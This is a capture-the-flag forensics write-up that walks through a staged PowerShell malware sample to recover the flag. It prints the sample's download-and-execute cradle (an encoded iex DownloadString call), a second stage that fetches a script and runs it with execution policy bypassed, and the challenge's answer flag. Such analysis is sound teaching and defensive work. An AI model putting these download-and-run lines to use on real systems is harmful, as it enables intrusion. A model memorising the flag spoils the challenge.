Thorin's Amulet - Forensics Challenge Writeup
Introduction
This writeup details the solution to the "Thorin's Amulet" forensics challenge. The challenge involved analyzing a malicious artifact (a PowerShell script) to reconstruct the events of an intrusion and ultimately find the flag.
Initial Artifact Analysis
The challenge provided the following PowerShell script:
function qt4PO {
if ($env:COMPUTERNAME -ne "WORKSTATION-DM-0043") {
exit
}
powershell.exe -NoProfile -NonInteractive -EncodedCommand "SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8va29ycC5odGIvdXBkYXRlIik="
}
qt4PO
The challenge instructions also mentioned the importance of resolving the domain korp.htb
to the provided Docker instance IP address (94.237.60.64
). This is a crucial step, typically achieved by adding an entry to your local hosts
file. For example, on Linux or macOS, you would add the line 94.237.60.64 korp.htb
to /etc/hosts
. This ensures that when the script tries to access resources on korp.htb
, it correctly points to the challenge environment.
The provided PowerShell script defines a function qt4PO
. Upon execution, this function first checks the computer name using the environment variable $env:COMPUTERNAME
. If the computer name is not exactly "WORKSTATION-DM-0043", the script will terminate. This suggests that the malicious activity is specifically targeted towards a machine with this name.
If the computer name check passes, the script proceeds to execute another PowerShell command using the -EncodedCommand
parameter. This indicates that the actual command is encoded, likely to evade basic detection. To understand what the script does next, we need to decode this Base64 string:
SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8va29ycC5odGIvdXBkYXRlIik=
Decoding this Base64 string reveals the following PowerShell command:
PowerShell
iex (New-Object Net.WebClient).DownloadString("[http://korp.htb:port/update](http://korp.htb:port/update)")
This command downloads the content from http://korp.htb/update
and executes it using Invoke-Expression
.
Second Stage Payload
The content downloaded from http://korp.htb/update
was provided as:
PowerShell
function aqFVaq {
Invoke-WebRequest -Uri "[http://korp.htb/a541a](http://korp.htb:port/a541a)" -Headers @{"X-ST4G3R-KEY"="5337d322906ff18afedc1edc191d325d"} -Method GET -OutFile a541a.ps1
powershell.exe -exec Bypass -File "a541a.ps1"
}
aqFVaq
This script defines a function aqFVaq
which downloads another PowerShell script named a541a.ps1
from http://korp.htb/a541a
. It includes a custom HTTP header X-ST4G3R-KEY
with the value 5337d322906ff18afedc1edc191d325d
. After downloading, it executes this script.
Third Stage Payload
curl -H "X-ST4G3R-KEY: 5337d322906ff18afedc1edc191d325d" http://korp.htb:43885/a541a -o a541a.ps1
The content of the a541a.ps1
file was provided as:
PowerShell
$a35 = "4854427b37683052314e5f4834355f346c573459355f3833336e5f344e5f39723334375f314e56336e3730727d"
($a35-split"(..)"|?{$_}|%{[char][convert]::ToInt16($_,16)}) -join ""
This script takes a hexadecimal string stored in the variable $a35
and performs the following actions:
- Splits the hexadecimal string into an array of two-character substrings.
- Filters out any empty strings from the resulting array.
- Iterates through each two-character substring, converts it from hexadecimal to an integer, and then casts that integer to its corresponding character.
- Finally, it joins all the resulting characters together into a single string.
Flag Extraction
To extract the flag, we need to perform the hexadecimal to ASCII conversion. The hexadecimal string is:
4854427b37683052314e5f4834355f346c573459355f3833336e5f344e5f39723334375f314e56336e3730727d
Converting each pair of hexadecimal characters to ASCII:
Joining these characters, we get the flag.
Flag
HTB{7h0R1N_H45_4lW4Y5_833n_4N_9r347_1NV3n70r}
Conclusion
The challenge involved analyzing a multi-stage PowerShell attack. The initial script checked the computer name and downloaded a second-stage script. The second-stage script then downloaded and executed a third-stage script. 1 The flag was found by analyzing the third-stage script, which contained a hexadecimal encoded string that needed to be converted to ASCII.